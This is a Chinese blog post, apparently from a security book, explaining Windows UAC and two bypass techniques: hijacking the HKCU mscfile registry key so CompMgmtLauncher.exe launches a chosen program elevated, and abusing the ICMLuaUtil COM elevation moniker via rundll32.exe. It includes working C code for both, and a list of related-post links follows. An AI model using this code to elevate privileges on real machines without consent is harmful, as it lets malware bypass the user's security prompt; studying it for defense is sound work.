背景

UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。

在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。

所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。

基于白名单程序Bypass UAC

有些系统程序是直接获取管理员权限,而不会触发UAC弹框,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。

接下来,选取白名单程序CompMgmtLauncher.exe计算机管理程序进行详细分析,利用它实现Bypass UAC提权。下述的分析过程是在64位Windows 10操作系统上完成的,使用到的关键工具软件是进程监控器Procmon.exe。

首先,直接到System32目录下运行CompMgmtLauncher.exe程序,并没有出现UAC弹窗,直接显示计算机管理的窗口界面。其中,使用进程监控器Procmon.exe来监控CompMgmtLauncher.exe进程的所有操作行为,主要是监控注册表和文件的操作。通过分析Procmon.exe的监控数据发现,CompMgmtLauncher.exe进程会先查询注册表HKCU\Software\Classes\mscfile\shell\open\command中数据,发现该路径不存在后,继续查询注册表HKCR\mscfile\shell\open\command(Default)中的数据并读取,该注册表路径中存储着mmc.exe进程的路径信息,如图6-1所示。然后,CompMgmtLauncher.exe会根据读取到的路径启动程序,显示计算机管理的窗口界面。
在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表HKCU\Software\Classes\mscfile\shell\open\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\Windows\System32\cmd.exe,然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限:
查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取HKCU\Software\Classes\mscfile\shell\open\command(Default)注册表路径中的数据并启动:

所以,利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理便是,程序自己创建并添加注册表HKCU\Software\Classes\mscfile\shell\open\command(Default),并写入自定义的程序路径。接着,运行CompMgmtLauncher.exe程序,完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER注册表是用户注册表,程序使用普通权限即可进行修改。

// 修改注册表
BOOL SetReg(char *lpszExePath)
{HKEY hKey = NULL;// 创建项::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);if (NULL == hKey){ShowError("RegCreateKeyEx");return FALSE;}// 设置键值::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath)));// 关闭注册表::RegCloseKey(hKey);return TRUE;
}

基于COM组件接口Bypass UAC

COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程。所以,本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称(COM Elevation Moniker)来对ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。

使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,COM提升名称具体的实现代码如下:

HRESULTCoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{BIND_OPTS3 bo;WCHAR wszCLSID[MAX_PATH] = { 0 };WCHAR wszMonikerName[MAX_PATH] = { 0 };HRESULT hr = 0;// 初始化COM环境::CoInitialize(NULL);// 构造字符串::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);if (FAILED(hr)){return hr;}// 设置BIND_OPTS3::RtlZeroMemory(&bo, sizeof(bo));bo.cbStruct = sizeof(bo);bo.hwnd = hWnd;bo.dwClassContext = CLSCTX_LOCAL_SERVER;// 创建名称对象并获取COM对象hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);return hr;
}

执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。

基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示:

BOOLCMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{HRESULT hr = 0;CLSID clsidICMLuaUtil = { 0 };IID iidICMLuaUtil = { 0 };ICMLuaUtil *CMLuaUtil = NULL;BOOL bRet = FALSE;do {::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);// 提权hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));if (FAILED(hr)){break;}// 启动程序hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);if (FAILED(hr)){break;}bRet = TRUE;}while(FALSE);// 释放if (CMLuaUtil) {CMLuaUtil->lpVtbl->Release(CMLuaUtil);}return bRet;
}

要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。所以可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。

其中,利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。

// 导出函数给rundll32.exe调用执行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

测试

将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将BypassUAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd.exe命令行窗口,而且窗口标题有管理员字样,如图:

Bypass UAC 提权相关推荐

  1. 操作系统权限提升(十五)之绕过UAC提权-基于白名单DLL劫持绕过UAC提权

    系列文章 操作系统权限提升(十二)之绕过UAC提权-Windows UAC概述 操作系统权限提升(十三)之绕过UAC提权-MSF和CS绕过UAC提权 操作系统权限提升(十四)之绕过UAC提权-基于白名 ...

  2. Windows权限提升—令牌窃取、UAC提权、进程注入等提权

    Windows权限提升-令牌窃取.UNC提权.进程注入等提权 1. 前言 2. at本地命令提权 2.1. 适用范围 2.2. 命令使用 2.3. 操作步骤 2.3.1. 模拟提权 2.3.2. at ...

  3. 操作系统权限提升(十二)之绕过UAC提权-Windows UAC概述

    系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 操作系统权限提升(三)之Windows系统内核溢出漏洞提权 操作系统权限提升(四)之系统错误配置-Tus ...

  4. Windows UAC提权

    一.UAC简介 1. UAC UAC是微软为提高系统安全性中引入的技术.UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码.UAC在操作启动 ...

  5. windows获取硬件设备的guid_Windows编程技术:提权技术(下)

    前面学了"令牌权限提升",今天来看下绕过UAC,这么多年都在讨论绕过UAC,确实也产生了许许多多的绕过方法,我们还是结合代码来看基本的方法.里面加入了一些COM接口的基本知识. U ...

  6. ByPass UAC

    ByPass UAC 白名单程序 Bypass UAC 有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序.例如, slui.exe.wusa.exe.taskmgr.ex ...

  7. Windows提权的几种常用姿势

    当获取主机权限时,我们总是希望可以将普通用户提升为管理员用户,以便获得高权限完全控制目标主机.Windows常用的提权方式有:内核提权.数据库提权.系统配置错误提权.组策略首选项提权.Bypass U ...

  8. Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等

    Penetration_Testing_POC 搜集有关渗透测试中用到的POC.脚本.工具.文章等姿势分享,作为笔记吧,欢迎补充. Penetration_Testing_POC 请善用搜索[Ctrl ...

  9. 系统提权之:Windows 提权

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Wi ...

最新文章

  1. python输入水果数量_Python 水果统计
  2. 多选Select排序
  3. H5前期知识点总结 9月12日
  4. 【数据库】navicat运行sql文件报错
  5. 关于数组增减Array 和list的区别
  6. 话里话外:明白比智慧更重要
  7. 72+常用Axure交互原型免费下载
  8. 如何使用 JQuery 提交 AJAX 表单
  9. 2022软件项目管理案例教程期末考知识点汇总(期末复习用)
  10. 黑客入侵香港中文大学网 师生资料被盗
  11. 爬取人民日报_辅导员专栏 | 琪人琪语:我们爬取了576篇人民日报的夜读文章,只为告诉你这些事...
  12. 【产品经理】AARRR模型
  13. SPA(单页面应用)总结
  14. 建tcode維護自己創建的數據表(SE54/SM30)
  15. java角度_Java Math.toDegrees()弧度转换成角度
  16. php农历生日计算,阴历-农历-转换类 (PHP版),阴历php
  17. Matter协议特性解析(三) 设备发现,认证和配网
  18. kinect V2开发API
  19. 关于使用QT在ARM上实现ffmpeg播放视频的思路
  20. 数学和计算机学的区别吗,2019考研计算机数学和数学二三的区别在哪?

热门文章

  1. 卷积神经网络学习路线(二十一) | 旷世科技 ECCV 2018 ShuffleNet V2
  2. 解决PHP报错No input file specified
  3. 计算机知识博大精深,如何学好计算机之忠言逆耳
  4. AppleTalk:Apple 公司协议组--网络大典
  5. 学生Web开发人员练习:电影评论II
  6. 使用Mozilla Thunderbird 创建ics日历文件
  7. JAVA删除pdf空白页_如何编辑PDF文件,如何删除PDF文档中的空白页
  8. Jenkins配置报错-Problem accessing /jenkins/. Reason
  9. HTTP-Runoob:HTPP Content-Type
  10. 苹果笔记本上网很慢怎么回事